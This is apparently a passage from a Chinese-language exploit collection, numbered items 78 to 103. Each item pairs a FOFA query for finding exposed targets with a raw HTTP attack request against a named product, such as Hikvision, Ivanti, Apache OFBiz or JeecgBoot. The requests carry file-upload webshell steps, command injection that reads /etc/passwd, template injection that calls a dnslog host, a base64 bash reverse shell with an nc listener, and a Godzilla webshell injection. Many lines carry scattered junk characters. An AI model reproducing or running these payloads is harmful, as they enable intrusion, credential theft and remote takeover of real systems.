) l- g( m$ X/ N& m' aPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
, M5 ?) J$ Z4 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
) X; `9 J# o" B0 q6 n# E6 Q7 wContent-Length: 433
2 b5 d- r/ |' e% nAccept: */*
# a  k' @! _, f) Y# [) v$ p6 KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
0 E+ ^$ |# |! ^0 o
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
2 L. t: T. {" D6 c' ~------------398jnjVTTlDVXHlE7yYnfwBoix
" k3 l  `5 p+ x% B. D: c. gContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
; V8 F5 w; j* w4 x9 D) R2 R! TContent-Type: application/octet-stream
: E( e6 |8 [2 N  o" D# i
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
1 Y1 }- x/ t# }3 B9 \" H9 fContent-Disposition: form-data; name="Upload"
  q# |9 x5 B. r( F+ M- ]
Submit Query
* ]# Q) M, x* o) Y3 O" T------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
5 {$ T* W1 G2 Q8 v) X9 C' U6 NFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
: ^3 [" b8 M. B3 e* `Host: x.x.x.x
; n  n0 }& g' f  y% EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
/ u4 @+ z2 R2 R$ }9 e
, k9 Z4 T+ B9 }4 u+ Z------YsOxWxSvj1KyZow1PTsh98fdu6l
# D& ~" K' B0 VContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
1 \( w$ c( y/ `7 T( z2 FContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
5 T1 q6 r6 s) `+ Z4 \# a------YsOxWxSvj1KyZow1PTsh98fdu6l
2 U! N. y* T% ]  d7 U0 nContent-Disposition: form-data; name="target"
+ K1 `7 i! h4 E. y; b
' |+ ~! P# E/ U; \4 x4 w/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
( H& O/ r! l9 `$ i: Q2 l8 c

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

5 U9 ~- I; |8 ^1 I9 H" R
! {0 v; m6 w& M# T% a( [79. BYTEVALUE 百为流控路由器远程命令执行
9 d8 h) z- o6 v. f0 r; X# @1 n: |FOFA：BYTEVALUE 智能流控路由器
/ v* M, f3 Y- f% t- X) F& vGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! M4 i! I0 B  c9 G4 @3 KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 v2 B; r+ s3 @2 H! OConnection: close
Upgrade-Insecure-Requests: 1


9 ]: H) J# @; O+ q/ g, d$ ]5 ~80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' n7 F3 e& b* o& g+ c, vFOFA：app="速达软件-公司产品"
5 @. I! Z# V& y3 S: c, v3 Q4 Z. wPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
- |# s& C7 P0 L3 l1 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 p' @& A  z' ^. u0 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) ?% _% i, t: a' s2 TConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
3 f, H; i" v0 k* r4 n
<% out.print("oessqeonylzaf");%>

! H) D3 l) W( x& s* C! a5 y
8 i" R: f  I6 ?2 m6 OGET /xykqmfxpoas.jsp HTTP/1.1
' d/ Z7 {! u% f3 UHost: x.x.x.x
) d" I: L, o9 B$ j* jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
6 L+ i+ j& Y5 o$ G

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
5 k/ J5 E5 z, P2 M6 mFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
- v6 z! b, O" B7 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 a4 J: K$ w2 G6 N! EAccept-Encoding: gzip
: s8 }! f# N) H6 ^1 t5 U
1 e; r7 x, `5 j5 ?
* Z8 b+ ?) C( ^2 r, z9 C; z6 ]82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
3 ^% X$ O5 W( W5 p+ O* `1 MPOST /bhost/test_qrcode_b HTTP/1.1
) @6 T- _- E: ^+ }, D% `- s9 ^Host: BaseURL
; y7 l; y1 a# f& V6 ~  uUser-Agent: Go-http-client/1.1
Content-Length: 23
: P+ F$ {2 U; I, Z" GAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost

: g% ]6 y. @2 o! H8 Y5 x
83. JeecgBoot testConnection 远程命令执行
& v! E) P: b; A5 I$ t& ZFOFA：title=="JeecgBoot 企业级低代码平台"
' i. W: b# ~" L6 m' m' o$ {

* r& l3 E5 e4 Y3 p( P; I! rPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
' S7 B/ J/ A$ C2 X' M- n5 c' tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
! p% S6 h) q. m4 Y+ A5 f5 q  PAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
. u# V3 d. c$ ZContent-Type: application/json

( M& Z6 g5 E- Q" `PAYLOAD
( I5 L1 Z3 j. \* P6 U8 d
: [0 r0 l" L% I$ m, X" `1 N84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
4 c$ I0 Q& s' u  i* NFOFA：title=="JeecgBoot 企业级低代码平台"
( [0 l& n6 I: s3 Y
0 Z. }2 s$ V% m3 Y$ ]

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
0 U( Q% E# \) S/ W' a% O$ a" aHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
3 H2 x$ P  l1 `4 X8 L: x; SAccept: */*
1 G6 _* T, R% u0 H/ Y! D7 ?5 vConnection: close
Content-Type: application/json
Accept-Encoding: gzip
9 x: c0 _/ w  C! \" V% o
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
% D; z2 G; |8 k* T5 s1 _  "type": "0"
}


85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
$ y' V: q8 P" g% G( B, PHost: x.x.x.x
9 m/ ^3 `: s5 J; dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 P7 F' O. G% t) Y1 X; @: jContent-Type: application/octet-stream
% b# ?* T. k& m- P5 D* bAccept-Encoding: gzip
7 T' ^4 S: j9 M! \" u2 J% i
PAYLOAD
: D& ~/ p  u2 r: g1 V9 H" ]$ M
- T6 w4 }  @  ~7 H) G# Q回显URL：http://x.x.x.x/userfiles/index.jsp
) t% Z# q1 A/ Y, q; B
86. 日本tosei自助洗衣机RCE
  G) @  j) M+ {1 C6 GFOFA：body="tosei_login_check.php"
) }; S" t2 u$ y+ R! t; q$ @* yPOST /cgi-bin/network_test.php HTTP/1.1
6 h! M4 p) J' y7 J6 R: U5 h# [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
# D) F" r, E7 z9 w: J; p8 TContent-Length: 44
1 P8 a. I4 R7 _0 f! c5 `2 FAccept: */*
8 F+ H! A/ t/ k/ K  H7 ZAccept-Encoding: gzip
Accept-Language: en
. o( W, i$ I6 L' u$ N* Q0 hContent-Type: application/x-www-form-urlencoded
3 ]- @! R  m* `% n$ \4 M) k$ h- \
host=%0acat${IFS}/etc/passwd%0a&command=ping
0 A& O$ H! F  {% r' w
9 P; B7 f4 K/ N5 p4 \) K5 e
* @$ Q1 m8 @+ X5 Y/ M( V* t87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
1 R& @8 A; \% JPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
3 m- {3 ^6 u+ Y& [. FHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 [3 G) W7 _# Z2 bConnection: close
! F$ o8 n$ c3 t1 o5 X! u2 PContent-Length: 198
Accept-Encoding: gzip
4 q. O4 d  M! P$ F# ^Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
, \9 `' ^3 n7 ], J2 F# E( a3 e, l
/ N( H9 `6 Z; F; v: I--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
* h, Y/ k$ k, f  y! |Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
, {1 {; Q4 v3 D% D- d$ n2 g--qqobiandqgawlxodfiisporjwravxtvd--
  F* W6 t% D) {& B0 L/ h5 Z& U

+ T) J* w& _3 I( n! I3 g) T5 W1 V/ H/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
2 `$ [1 b) y( a* oFOFA：title="明御安全网关"
4 T1 \  g3 _3 @) uGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! \; k+ U8 ^5 j8 [, b0 ~+ ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' ?- _- }( f( _4 l) S: gConnection: close
) M" W( }% s5 b/ c9 _9 |  C# Q

! g6 X5 R' S5 O0 `- `% z  [/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
- K: }2 d6 h- J, uFOFA：title="FE协作办公平台" || body="li_plugins_download"
7 ?* l+ _& W, o9 ?$ i- g) `# b! DPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
, C2 P# N% ~- v; v. f" N+ |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 l/ ?2 V6 M( |9 PContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+

; }- _$ F, D6 _$ w3 L
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
7 j$ H' M% h- d) n  K; x. UFOFA：icon_hash="-1830859634"
- e- s2 R8 \; y! a  t& U+ tPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
5 S! f" o4 A. bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
4 T/ s! W8 t/ }( c3 H' aAccept: application/json, text/javascript, */*; q=0.01
/ U& K$ N; t$ N) D( jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
. ?! D5 Q' C- }; M9 ]9 X

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
$ X- Q5 o1 r( IFOFA：title="综合安防管理平台"
; Z- S) P  y+ v6 D0 \GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
- |% Y& |' p0 z/ W0 a# i3 X: iConnection: keep-alive
" L7 a" j' [- e
0 k2 {1 A# B; I0 f

# n0 s4 _$ E1 q92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
+ G) ^1 v: e, Q+ IPOST /center/api/session HTTP/1.1
Host:
/ E4 `9 a5 ?$ {6 ?Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
3 L: \) e- p& j7 A# ZContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
5 s, G3 r- i. g$ h3 w. kTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
: J' D7 R+ z( r! \; S0 h
7 m) t3 [" y: B% F& H' _PAYLOAD
" m; d  K0 E- v2 e

% I4 a' a: ~# o' `0 d: N) r/ w9 s93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
, y* G- H0 l5 L' j* iFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
  z+ [$ |- b$ v+ KHost: x.x.x.x
$ f+ j$ ?" Y( _+ zContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

: y  W. K4 c) o( U  S) P------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

& N  I  M5 L6 _0 G10000000
3 r: ~) |+ z: t$ \. t, [------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
3 h" r4 ?! l% s1 ZContent-Type: text/plain
" t. z# L  i: g
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
3 @9 [! Q; M4 w( bContent-Disposition: form-data; name="submit_post"
% R6 t, F" t2 F
! y- |6 x' k7 }* j% Dobj_app_upfile
' _$ ]+ _- o  Q3 M( ?------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

9 V( k# K( h3 c/ t4 s0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
& x5 v) v. l$ q' h8 N' y

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
* \/ f, c* }8 {" c0 S! R% w0 sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ |/ p0 a" E1 V: k3 D7 O

, s3 b  ]" X% [2 D5 V94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
" S. [7 {0 x$ C  hFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
  |: ^9 d% O9 \% ?POST /?g=obj_area_import_save HTTP/1.1
! t  O/ p7 h5 n, T! N& b  }# m$ cHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

' x, W  V7 Y2 `! A10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
% k" W7 v, |5 J4 N& K- k  K! d
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
% J# C3 j) S9 v0 q- X, OContent-Disposition: form-data; name="submit_post"

5 G+ r6 g0 ^" C* ?) t' F: ~# |4 lobj_app_upfile
1 D) j' a3 c6 }! A------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
7 F  R; A9 K" p2 y
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
  w/ t' [5 A# v! T' A( e


GET /attachements/xlskxknxa.txt HTTP/1.1
/ C" C1 x' U8 ~  R3 eHost: xx.xx.xx.xx
4 O, ]2 s) K5 |7 PUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


7 v5 v5 r7 J: p. ?7 v
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
! B/ L) R/ l3 q0 L# z' xCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
" x) w) z, k9 O8 x7 m& y. CHost: x.x.x.x
. M& ~# F% \& G' y' n5 J, d. HUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
* Y- ?/ Y) ?& n+ U( W" h; zContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
( Y; I( n' O- k; F; V. i. ]<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
3 a0 v7 X' ~9 j9 }" ~    <params>
5 K$ f: {. d, i* t/ l( d+ }      <param>
      <value>
        <struct>
       <member>
  ^! X, m( {) x2 V          <name>test</name>
- E2 w! v3 F7 g! o+ i4 h6 b          <value>
8 j' B: X9 u9 u      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
    </param>
/ N8 [. \- K% E8 U* o$ p! d    </params>
1 Z% Y0 J1 o: M/ I( b4 u' z</methodCall>

. F% [* Z5 N+ q# X2 v( i2 P# B9 j
8 L" ~7 f. d# E& U用ysoserial生成payload
! |3 @" P: Z! Zjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
; u7 w/ F7 W8 B! D0 }/ T' c& W# f
/ S. T! q9 `  w* W" W: m! y
将生成的payload替换到上面的POC
) Q0 M* ~( U) D$ `& t! H$ \3 e$ t$ I. r% dPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
; ^* P3 o0 i4 p! a3 x7 kHost: 192.168.40.130:8443
% V  f% M2 N# sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
) E. ^; u) _  J" [& aConnection: close
Content-Length: 889
+ n, Q. v9 |8 r) i4 W0 q6 n* a! dContent-Type: application/xml
& z6 l: K( o) g; ]6 iAccept-Encoding: gzip
# b( u1 C, D- A' A' ^
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
: a  @3 q2 P+ R1 a% d( VFOFA：app="Apache_OFBiz"
( u) ]+ K" x) B: kPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
5 r9 c+ e" P$ t1 g* i5 \  }, g, XHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' O6 f( e3 Q3 k( ?- TAccept: */*
, i! T1 t; u) b/ R- PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ n1 a* C+ v7 F( x2 NContent-Type: application/x-www-form-urlencoded
Content-Length: 55
! {8 _  X- B+ `, j+ k( Z5 P" q
4 q6 `+ z% O4 P8 P; _groovyProgram=throw+new+Exception('id'.execute().text);
* d1 V$ R) S; V: ^7 V; _0 d! K

7 c3 K* k4 m" [. p2 O, v反弹shell
在kali上启动一个监听
: H" \8 Z3 R9 }( m! ]# E7 }nc -lvp 7777
. q( `" ?4 j) A' ?2 s6 m; L7 G
5 I& R* \8 f7 O( P: e' jPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
1 y7 c- o; q0 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 @3 N* N. N$ X( X3 EAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
- s* ^5 ], F5 G. D3 AContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
- x# A( C  k: f# w
7 T8 w; q- @* p& D$ D! u; R# l- C$ n97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
2 I) r2 Z* v( e  UFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
# F6 R" h; Q8 K8 yHost: 192.168.40.130:8085
" A2 T0 j1 W3 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
2 [: |/ e; F1 l$ U

# C, n2 o" L3 m, A' k1 ]( p0 O98. SpiderFlow爬虫平台远程命令执行
; y  _* M+ ^% P) RCVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
& c. s6 b" j) Q9 T* lHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
6 c  V0 m* g, t- z2 l5 w( {Connection: close
2 z  e2 j' F+ j# |Content-Length: 121
1 d% H- A7 J+ b% j  T  H/ H' ^Accept: */*
5 ]1 m  N2 ^0 x+ e( ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
$ q5 ]( W7 R9 ?9 Y# D; [5 g  b3 JX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
+ W/ z! X0 P- q3 N  ], |

: Y# o3 N2 C  ^, u* I99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
1 A9 |4 u2 X3 c6 A; u& h3 j8 j% xFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
0 h% i. g$ i. j9 XHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
8 N) e6 K  `0 E3 [7 T5 KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

* M! D) p' m: f4 {%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

- X" d0 q2 \, M1 r0 L: `- H
2 J. _2 p$ K; v( p) G" d100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
" n: M3 W: ?* @; s9 J4 UCVE-2024-0352
FOFA：icon_hash="874152924"
) L7 ~6 {$ L5 m. P9 Q7 TPOST /api/file/formimage HTTP/1.1
/ W0 G+ C' z0 S; J4 h/ ~Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
0 D1 b! u' c# D; ?$ K7 p# T7 CContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
3 J2 A8 K; h: J3 z# ^0 vAccept-Encoding: gzip

  g5 I. n& P/ S2 d6 u- a) T( v------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
& L& M9 k! p: M$ p- FContent-Type: application/x-php
) {8 L. W) o4 k: |; r
8 ^3 H* M% c" p# B) C7 h1 b" B9 K2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
0 t; f* o# g: O0 X- X, X2 m2 R

101. ivanti policy secure-22.6命令注入
% f8 \; i9 W$ h9 OCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
$ U1 p2 s. W$ g7 r. qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
9 v  U4 ?; H# N( j: x

' Y* x, M1 A2 E2 k2 B102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
  s" C$ a8 q8 H! R( x* L: Z5 {8 CHost: x.x.x.x
2 o! }% H6 p' mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

$ L$ m/ W+ H6 P" R<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
! {: L% R  V* R. W
* @5 B# L/ K& p103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
